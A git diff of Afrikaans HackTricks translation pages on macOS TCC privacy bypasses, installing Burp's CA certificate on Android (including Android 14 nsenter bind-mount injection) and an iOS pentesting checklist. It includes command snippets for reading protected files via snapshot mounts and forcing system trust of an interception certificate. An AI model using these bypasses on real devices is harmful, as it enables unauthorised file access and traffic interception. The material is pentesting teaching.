Let op hoe om die omgewingsveranderlike te gebruik om 'n biblioteek te laai, 'n **aangepaste plist** is geskep om hierdie biblioteek in te spuit en **`launchctl`** is gebruik om dit te begin:
Merk op hoe om die omgewingsveranderlike te gebruik om 'n biblioteek te laai, is 'n **aangepaste plist** geskep om hierdie biblioteek in te spuit en **`launchctl`** is gebruik om dit te begin:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -399,7 +399,7 @@ Dit is moontlik om **`open`** selfs te roep terwyl jy in 'n sandboks is
### Terminal Skripte
Dit is redelik algemeen om terminale **Volle Skyftoegang (FDA)** te gee, ten minste in rekenaars wat deur tegniese mense gebruik word. En dit is moontlik om **`.terminal`** skripte te roep deur dit te gebruik.
Dit is redelik algemeen om die terminale **Volle Skyftoegang (FDA)** te gee, ten minste in rekenaars wat deur tegniese mense gebruik word. En dit is moontlik om **`.terminal`** skripte te roep deur dit te gebruik.
**`.terminal`** skripte is plist lêers soos hierdie een met die bevel om uit te voer in die **`CommandString`** sleutel:
```xml
@ -419,7 +419,7 @@ Dit is redelik algemeen om terminale **Volle Skyftoegang (FDA)** te gee, ten min
</dict>
</plist>
```
'n Toepassing kan 'n terminaalskrip skryf op 'n plek soos /tmp en dit begin met 'n bevel soos:'
'n Toepassing kan 'n terminaalskrip skryf op 'n plek soos /tmp en dit lanceer met 'n opdrag soos:'
```objectivec
// Write plist in /tmp/tcc.terminal
[...]
@ -432,10 +432,10 @@ exploit_location]; task.standardOutput = pipe;
```
## Deur te koppel
### CVE-2020-9771 - mount\_apfs TCC omseiling en voorregverhoging
### CVE-2020-9771 - mount\_apfs TCC omseiling en voorreg-escalatie
**Enige gebruiker** (selfs onbevoegdes) kan 'n tydmasjien-snapshot skep en koppel en **ALLE lêers** van daardie snapshot **toegang**.\
Die **enigste bevoorregting** wat nodig is, is vir die gebruikte toepassing (soos `Terminal`) om **Volle Skyf Toegang** (FDA) toegang (`kTCCServiceSystemPolicyAllfiles`) te hê wat deur 'n administrateur verleen moet word.
Die **enigste voorreg** wat nodig is, is vir die gebruikte toepassing (soos `Terminal`) om **Volle Skyf Toegang** (FDA) te hê (`kTCCServiceSystemPolicyAllfiles`) wat deur 'n admin verleen moet word.
{% code overflow="wrap" %}
```bash
@ -459,7 +459,7 @@ ls /tmp/snap/Users/admin_user # This will work
```
{% endcode %}
'n Meer gedetailleerde verduideliking kan [**gevind word in die oorspronklike verslag**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
'n Meer gedetailleerde verduideliking kan **gevind word in die oorspronklike verslag**.
### CVE-2021-1784 & CVE-2021-30808 - Monteer oor TCC-lêer
@ -488,11 +488,11 @@ Kyk na die **volledige uitbuiting** in die [**oorspronklike skryfstuk**](https:/
### asr
Die gereedskap **`/usr/sbin/asr`** het dit moontlik gemaak om die hele skyf te kopieer en dit op 'n ander plek te koppel deur TCC-beskerming te omseil.
Die gereedskap **`/usr/sbin/asr`** het toegelaat om die hele skyf te kopieer en dit op 'n ander plek te koppel deur TCC-beskerming te omseil.
### Liggingdiens
Daar is 'n derde TCC-databasis in **`/var/db/locationd/clients.plist`** om kliënte aan te dui wat toegelaat is om **liggingdiens te gebruik**.\
Daar is 'n derde TCC-databasis in **`/var/db/locationd/clients.plist`** om kliënte aan te dui wat toegelaat word om **liggingdiens te gebruik**.\
Die vouer **`/var/db/locationd/` was nie beskerm teen DMG-koppeling nie** sodat dit moontlik was om ons eie plist te koppel.
## Deur aanvangstoepassings
@ -511,11 +511,11 @@ In verskeie gevalle sal lêers sensitiewe inligting soos e-posse, telefoonnommer
Dit werk nie meer nie, maar dit [**het in die verlede gewerk**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
'n Ander manier om [**CoreGraphics-gebeurtenisse**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf) te gebruik:
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
## Verwysing
@ -523,3 +523,17 @@ Dit werk nie meer nie, maar dit [**het in die verlede gewerk**](https://twitter.
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
* [**20+ Maniere om Jou macOS-privasiemeganismes te omseil**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
* [**Knockout-wen teen TCC - 20+ NUWE Maniere om Jou MacOS-privasiemeganismes te omseil**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -29,7 +29,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
```
{% endcode %}
Vervolgens, om **burps sertifikaat te konfigureer**, doen die volgende:
Vervolgens, om **Burp se sertifikaat te konfigureer**, doen die volgende:
{% code overflow="wrap" %}
```bash
@ -52,31 +52,31 @@ As jy jou toestel met Magisc **geroot** het (miskien 'n emulator), en jy **kan n
Uitgelê in [**hierdie video**](https://www.youtube.com/watch?v=qQicUW0svB8) moet jy:
1. **Installeer 'n CA-sertifikaat**: Net **sleep en laat val** die DER Burp-sertifikaat **terwyl jy die uitbreiding verander** na `.crt` op die mobiele toestel sodat dit gestoor word in die Aflaaibestand en gaan na `Installeer 'n sertifikaat` -> `CA-sertifikaat`
1. **Installeer 'n CA-sertifikaat**: Net **sleep en laat val** die DER Burp-sertifikaat **terwyl jy die uitbreiding verander** na `.crt` op die mobiele toestel sodat dit gestoor word in die aflaaifolder en gaan na `Installeer 'n sertifikaat` -> `CA-sertifikaat`
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
* Kontroleer dat die sertifikaat korrek gestoor is deur te gaan na `Vertroude geloofsbriewe` -> `GEBRUIKER`
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Maak dit Sisteem vertrou**: Laai die Magisc-module af [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) ( 'n .zip-lêer), **sleep en laat val** dit op die foon, gaan na die **Magics-toep** op die foon na die **`Modules`** afdeling, klik op **`Installeer vanaf stoor`**, kies die `.zip`-module en sodra dit geïnstalleer is, **herlaai** die foon:
2. **Maak dit Sisteem vertrou**: Laai die Magisc-module af [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (n .zip-lêer), **sleep en laat val** dit op die foon, gaan na die **Magics-toep** op die foon na die **`Modules`**-afdeling, klik op **`Installeer vanaf stoor`**, kies die `.zip`-module en sodra dit geïnstalleer is, **herlaai** die foon:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
* Na herlaai, gaan na `Vertroude geloofsbriewe` -> `SISTEEM` en kontroleer of die Postswigger-sertifikaat daar is
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
## Na Android 14
In die nuutste Android 14 vrystelling is 'n beduidende skuif waargeneem in die hantering van die sertifisering van die sisteem-vertroude Certificate Authority (CA) sertifikate. Voorheen was hierdie sertifikate gehuisves in **`/system/etc/security/cacerts/`**, toeganklik en wysigbaar deur gebruikers met root-voorregte, wat onmiddellike toepassing oor die stelsel moontlik gemaak het. Met Android 14 is die berging van die lêer verplaas na **`/apex/com.android.conscrypt/cacerts`**, 'n gids binne die **`/apex`** pad, wat van nature onveranderlik is.
In die nuutste Android 14 vrystelling is 'n beduidende skuif waargeneem in die hantering van sisteem-vertroude Certificate Authority (CA) sertifikate. Voorheen was hierdie sertifikate gehuisves in **`/system/etc/security/cacerts/`**, toeganklik en aanpasbaar deur gebruikers met root-voorregte, wat onmiddellike toepassing oor die hele stelsel moontlik gemaak het. Met Android 14 is die berging van die sertifikate verplaas na **`/apex/com.android.conscrypt/cacerts`**, 'n gids binne die **`/apex`**-pad, wat van nature onveranderlik is.
Pogings om die **APEX cacerts-pad** as skryfbaar te hermonteer, word met mislukking ontmoet, aangesien die stelsel nie sulke operasies toelaat nie. Selfs pogings om die gids te ontmonteer of te oorlê met 'n tydelike lêersisteem (tmpfs) omseil nie die onveranderlikheid nie; programme bly voortgaan om die oorspronklike sertifikaatdata te benader ongeag veranderinge op die lêersisteemvlak. Hierdie veerkragtigheid is te danke aan die **`/apex`** berging wat gekonfigureer is met PRIVATE propagasie, wat verseker dat enige wysigings binne die **`/apex`** gids nie ander prosesse beïnvloed nie.
Pogings om die **APEX cacerts-pad** as skryfbaar te hermonteer, word met mislukking begroet, aangesien die stelsel sulke operasies nie toelaat nie. Selfs pogings om die gids te ontmonteer of te oorlê met 'n tydelike lêersisteem (tmpfs) omseil nie die onveranderlikheid nie; toepassings bly voortgaan om die oorspronklike sertifikaatdata te benader ongeag veranderinge op die lêersisteemvlak. Hierdie veerkragtigheid is te danke aan die **`/apex`**-berg wat gekonfigureer is met PRIVATE propagasie, wat verseker dat enige wysigings binne die **`/apex`**-gids nie ander prosesse beïnvloed nie.
Die inisialisering van Android behels die `init` proses, wat, met die begin van die bedryfstelsel, ook die Zygote proses inisieer. Hierdie proses is verantwoordelik vir die begin van aansoekprosesse met 'n nuwe bergingsnaamspas wat 'n private **`/apex`** berging insluit, wat veranderinge aan hierdie gids van ander prosesse isoleer.
Die inisialisering van Android behels die `init`-proses, wat, wanneer die bedryfstelsel begin, ook die Zygote-proses inisieer. Hierdie proses is verantwoordelik vir die begin van toepassingsprosesse met 'n nuwe bergnaamruimte wat 'n private **`/apex`**-berg insluit, wat veranderinge aan hierdie gids van ander prosesse isoleer.
Nietemin bestaan daar 'n omweg vir diegene wat die sisteem-vertroude CA-sertifikate binne die **`/apex`** gids wil wysig. Dit behels die handmatige hermonteer van **`/apex`** om die PRIVATE propagasie te verwyder, wat dit skryfbaar maak. Die proses behels die kopie van die inhoud van **`/apex/com.android.conscrypt`** na 'n ander plek, die ontmonteer van die **`/apex/com.android.conscrypt`** gids om die skryfbeskerming te verwyder, en dan die herstel van die inhoud na hul oorspronklike plek binne **`/apex`**. Hierdie benadering vereis vinnige aksie om stelselstortings te voorkom. Om te verseker dat hierdie veranderinge wydverspreid in die stelsel toegepas word, word dit aanbeveel om die `system_server` te herlaai, wat alle aansoeke herlaai en die stelsel na 'n konsekwente toestand bring.
Nietemin bestaan daar 'n omweg vir diegene wat die sisteem-vertroude CA-sertifikate binne die **`/apex`**-gids wil wysig. Dit behels die handmatige hermonteer van **`/apex`** om die PRIVATE propagasie te verwyder, wat dit skryfbaar maak. Die proses behels die kopie van die inhoud van **`/apex/com.android.conscrypt`** na 'n ander plek, die ontmonteer van die **`/apex/com.android.conscrypt`**-gids om die skryfbeskerming te verwyder, en dan die herstel van die inhoud na hul oorspronklike plek binne **`/apex`**. Hierdie benadering vereis vinnige aksie om stelselstortings te voorkom. Om te verseker dat hierdie veranderinge wydverspreid toegepas word, word dit aanbeveel om die `system_server` te herlaai, wat alle toepassings herlaai en die stelsel na 'n konsekwente toestand bring.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -140,18 +140,18 @@ echo "System certificate injected"
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **Voorbereiding van CA-sertifikate**: Na die opstel van die skryfbare gids, moet die CA-sertifikate wat jy van plan is om te gebruik, in hierdie gids gekopieer word. Dit mag die kopie van die verstek sertifikate van `/apex/com.android.conscrypt/cacerts/` insluit. Dit is noodsaaklik om die regte van hierdie sertifikate aan te pas en die SELinux-etikette daarvan dienooreenkomstig te stel.
2. **Voorbereiding van CA-sertifikate**: Na die opstel van die skryfbare gids, moet die CA-sertifikate wat jy van plan is om te gebruik, in hierdie gids gekopieer word. Dit mag die kopieer van die verstek sertifikate van `/apex/com.android.conscrypt/cacerts/` insluit. Dit is noodsaaklik om die regte toestemmings en SELinux-etikette van hierdie sertifikate dienooreenkomstig aan te pas.
3. **Bind Montering vir Zygote**: Deur `nsenter` te gebruik, tree 'n persoon die Zygote se bergnaamspasie binne. Zygote, as die proses wat verantwoordelik is vir die begin van Android-toepassings, vereis hierdie stap om te verseker dat alle toepassings wat hierna geïnisieer word, die nuut gekonfigureerde CA-sertifikate gebruik. Die gebruikte bevel is:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
Dit verseker dat elke nuwe app wat begin, sal voldoen aan die opgedateerde CA-sertifikaatopstelling.
4. **Veranderinge toepas op Lopende Apps**: Om die veranderinge op reeds lopende toepassings toe te pas, word `nsenter` weer gebruik om in elke toepassing se namespace individueel in te gaan en 'n soortgelyke bindmount uit te voer. Die nodige bevel is:
4. **Veranderinge toepas op Lopende Apps**: Om die veranderinge op reeds lopende toepassings toe te pas, word `nsenter` weer gebruik om in elke app se namespace individueel in te gaan en 'n soortgelyke bindmount uit te voer. Die nodige bevel is:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **Alternatiewe Benadering - Sagte Herlaai**: 'n Alternatiewe metode behels die uitvoer van die bind mount op die `init` proses (PID 1) gevolg deur 'n sagte herlaai van die bedryfstelsel met die `stop && start` bevele. Hierdie benadering sal die veranderinge oor al die namespaces versprei, wat die noodsaaklikheid om elke lopende program individueel aan te spreek, vermy. Hierdie metode word egter gewoonlik minder verkies weens die ongerief van herlaaiing.
5. **Alternatiewe Benadering - Sagte Herlaai**: 'n Alternatiewe metode behels die uitvoer van die bind mount op die `init` proses (PID 1) gevolg deur 'n sagte herlaai van die bedryfstelsel met die `stop && start` bevele. Hierdie benadering sal die veranderinge oor al die namespaces versprei, wat die noodsaaklikheid om elke lopende program individueel aan te spreek, vermy. Hierdie metode word egter gewoonlik minder verkies weens die ongerief van die herlaai.
## Verwysings
@ -167,6 +167,6 @@ Ander maniere om HackTricks te ondersteun:
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,9 +1,9 @@
# iOS Pentesting Kontrolelys
# iOS Pentesting Checklist
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkafloeie** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -22,9 +22,9 @@ Ander maniere om HackTricks te ondersteun:
</details>
**Probeer Hard Security Group**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -45,15 +45,15 @@ Ander maniere om HackTricks te ondersteun:
* [ ] [**Realm-databasisse**](ios-pentesting/#realm-databases) kan sensitiewe inligting stoor.
* [ ] [**Couchbase Lite-databasisse**](ios-pentesting/#couchbase-lite-databases) kan sensitiewe inligting stoor.
* [ ] [**Binêre koekies**](ios-pentesting/#cookies) kan sensitiewe inligting stoor
* [ ] [**Cache-data**](ios-pentesting/#cache) kan sensitiewe inligting stoor
* [ ] [**Kesdata**](ios-pentesting/#cache) kan sensitiewe inligting stoor
* [ ] [**Outomatiese afskrifte**](ios-pentesting/#snapshots) kan visuele sensitiewe inligting stoor
* [ ] [**Sleutelketting**](ios-pentesting/#keychain) word gewoonlik gebruik om sensitiewe inligting te stoor wat agtergelaat kan word wanneer die foon verkoop word.
* [ ] Kortom, kontroleer net vir sensitiewe inligting wat deur die aansoek in die lêersisteem gestoor word
### Sleutelborde
* [ ] Laat die aansoek toe om [**aangepaste borde te gebruik**](ios-pentesting/#custom-keyboards-keyboard-cache)?
* [ ] Kontroleer of sensitiewe inligting gestoor word in die [**borde se kaslêers**](ios-pentesting/#custom-keyboards-keyboard-cache)
* [ ] Laat die aansoek toe om [**aangepaste sleutelborde te gebruik**](ios-pentesting/#custom-keyboards-keyboard-cache)?
* [ ] Kontroleer of sensitiewe inligting gestoor word in die [**sleutelborde-kas-lêers**](ios-pentesting/#custom-keyboards-keyboard-cache)
### **Logboeke**
@ -61,8 +61,8 @@ Ander maniere om HackTricks te ondersteun:
### Agteruitkopieë
* [ ] [**Agteruitkopieë**](ios-pentesting/#backups) kan gebruik word om die sensitiewe inligting wat in die lêersisteem gestoor is, te **benader** (kontroleer die aanvanklike punt van hierdie kontrolelys)
* [ ] Ook kan [**agteruitkopieë**](ios-pentesting/#backups) gebruik word om **sekere konfigurasies van die aansoek te wysig**, dan die **agteruitkopie herstel** op die foon, en sodra die **gewysigde konfigurasie** gelaai word, kan sommige (sekuriteits) **funksionaliteit omseil** word
* [ ] [**Agteruitkopieë**](ios-pentesting/#backups) kan gebruik word om toegang te verkry tot die sensitiewe inligting wat in die lêersisteem gestoor is (kontroleer die aanvanklike punt van hierdie lys)
* [ ] Ook kan [**agteruitkopieë**](ios-pentesting/#backups) gebruik word om sekere konfigurasies van die aansoek te wysig, dan die agteruitkopie op die foon te herstel, en sodra die **gewysigde konfigurasie** gelaai word, kan sommige (sekuriteits) **funksionaliteit omseil** word
### **Aansoekgeheue**
@ -70,7 +70,7 @@ Ander maniere om HackTricks te ondersteun:
### **Gebreekte Kriptografie**
* [ ] Kontroleer of jy kan vind [**wagwoorde wat vir kriptografie gebruik word**](ios-pentesting/#broken-cryptography)
* [ ] Kontroleer of jy [**wagwoorde wat vir kriptografie gebruik word**](ios-pentesting/#broken-cryptography) kan vind
* [ ] Kontroleer vir die gebruik van [**verouderde/swak algoritmes**](ios-pentesting/#broken-cryptography) om sensitiewe data te stuur/stoor
* [ ] [**Haak en monitor kriptografie-funksies**](ios-pentesting/#broken-cryptography)
@ -78,38 +78,38 @@ Ander maniere om HackTricks te ondersteun:
* [ ] As 'n [**plaaslike identifikasie**](ios-pentesting/#local-authentication) in die aansoek gebruik word, moet jy nagaan hoe die identifikasie werk.
* [ ] As dit die [**Plaaslike Identifikasie-Raamwerk**](ios-pentesting/#local-authentication-framework) gebruik, kan dit maklik omseil word
* [ ] As dit 'n [**funksie gebruik wat dinamies omseil kan word**](ios-pentesting/#local-authentication-using-keychain) kan jy 'n aangepaste frida-skrip skep
* [ ] As dit 'n [**funksie wat dinamies omseil kan word**](ios-pentesting/#local-authentication-using-keychain) gebruik, kan jy 'n aangepaste frida-skrip skep
### Sensitiewe Funksionaliteit Blootstelling deur IPC
* [**Aangepaste URI-hanteerders / Dieplinks / Aangepaste Skemas**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [ ] Kontroleer of die aansoek **enige protokol/skema registreer**
* [ ] Kontroleer of die aansoek registreer om enige protokol/skema te **gebruik**
* [ ] Kontroleer of die aansoek **verwag om enige soort sensitiewe inligting te ontvang** van die aangepaste skema wat deur 'n ander aansoek wat dieselfde skema registreer, **onderskep** kan word
* [ ] Kontroleer of die aansoek **nie gebruikersinsette deur die aangepaste skema kontroleer en skoonmaak nie** en dat 'n sekuriteitskwesbaarheid geëksploiteer kan word**
* [ ] Kontroleer of die aansoek **enige sensitiewe aksie blootstel** wat van enige plek deur die aangepaste skema geroep kan word
* [ ] Kontroleer of die aansoek registreer om enige protokol/skema te gebruik
* [ ] Kontroleer of die aansoek verwag om enige soort sensitiewe inligting te ontvang van die aangepaste skema wat deur 'n ander aansoek wat dieselfde skema registreer, **onderskep** kan word
* [ ] Kontroleer of die aansoek **nie gebruikersinsette deur die aangepaste skema kontroleer en skoonmaak nie** en dat 'n sekuriteitskwesbaarheid geëksploiteer kan word
* [ ] Kontroleer of die aansoek **enige sensitiewe aksie blootstel** wat van enige plek via die aangepaste skema geroep kan word
* [**Universale Skakels**](ios-pentesting/#universal-links)
* [ ] Kontroleer of die aansoek enige universele protokol/skema **registreer**
* [ ] Kontroleer of die aansoek **enige universele protokol/skema registreer**
* [ ] Kontroleer die `apple-app-site-association`-lêer
* [ ] Kontroleer of die aansoek **nie gebruikersinsette deur die aangepaste skema kontroleer en skoonmaak nie** en dat 'n sekuriteitskwesbaarheid geëksploiteer kan word**
* [ ] Kontroleer of die aansoek **enige sensitiewe aksie blootstel** wat van enige plek deur die aangepaste skema geroep kan word
* [ ] Kontroleer of die aansoek **nie gebruikersinsette deur die aangepaste skema kontroleer en skoonmaak nie** en dat 'n sekuriteitskwesbaarheid geëksploiteer kan word
* [ ] Kontroleer of die aansoek **enige sensitiewe aksie blootstel** wat van enige plek via die aangepaste skema geroep kan word
* [**UIActivity-deling**](ios-pentesting/ios-uiactivity-sharing.md)
* [ ] Kontroleer of die aansoek UI-aktiwiteite kan ontvang en of dit moontlik is om enige kwesbaarheid met spesiaal ontwerpte aktiwiteit te benut
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
* [ ] Kontroleer of die aansoek enige iets na die algemene knipbord kopieer
* [ ] Kontroleer of die aansoek die data van die algemene knipbord vir enige iets gebruik
* [ ] Monitor die knipbord om te sien of enige **sensitiewe data gekopieer word**
* [ ] Monitor die knipbord om te sien of enige **sensitiewe data gekopieer** word
* [**Aansoekuitbreidings**](ios-pentesting/ios-app-extensions.md)
* [ ] Gebruik die aansoek enige uitbreiding?
* [**Webweergawes**](ios-pentesting/ios-webviews.md)
* [ ] Kontroleer watter soort webweergawes gebruik word
* [ ] Kontroleer die status van **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
* [ ] Kontroleer of die webweergawe **lokale lêers kan benader** met die protokol **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
* [ ] Kontroleer of Javascript **Natuurlike** **metodes** kan benader (`JSContext`, `postMessage`)
* [ ] Kontroleer of Javascript toegang tot **Natuurlike** **metodes** kan hê (`JSContext`, `postMessage`)
### Netwerk Kommunikasie
* [ ] Voer 'n **MitM aan die kommunikasie** uit en soek na web kwesbaarhede.
* [ ] Kontroleer of die **naam van die sertifikaat se gasheer** nagegaan word
* [ ] Kontroleer of die **naam van die sertifikaat** nagegaan word
* [ ] Kontroleer/Omseil **Sertifikaat Pinning**
### **Verskeie**
@ -119,7 +119,7 @@ Ander maniere om HackTricks te ondersteun:
**Probeer Hard Security Groep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -129,7 +129,7 @@ Ander maniere om HackTricks te ondersteun:
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -137,7 +137,7 @@ Ander maniere om HackTricks te ondersteun:
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\

View file

@ -1,9 +1,9 @@
# iOS Pentesting
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -40,47 +40,47 @@ Op hierdie bladsy kan jy inligting vind oor die **iOS-simuleerder**, **emulators
### Basiese iOS Toetsoperasies
Tydens die toetsing **sal verskeie operasies voorgestel word** (verbind met die toestel, lees/skryf/oplaai/aflaai lêers, gebruik van sekere gereedskap...). As jy dus nie weet hoe om enige van hierdie aksies uit te voer nie, **begin deur die bladsy te lees**:
Tydens die toets word verskeie operasies voorgestel (koppel aan die toestel, lees/skryf/laai op/af lêers, gebruik van sekere gereedskap...). As jy nie weet hoe om enige van hierdie aksies uit te voer nie, **begin deur die bladsy te lees**:
{% content-ref url="basic-ios-testing-operations.md" %}
[basic-ios-testing-operations.md](basic-ios-testing-operations.md)
{% endcontent-ref %}
{% hint style="info" %}
Vir die volgende stappe **moet die app geïnstalleer wees** op die toestel en moet jy reeds die **IPA-lêer** van die aansoek verkry het.\
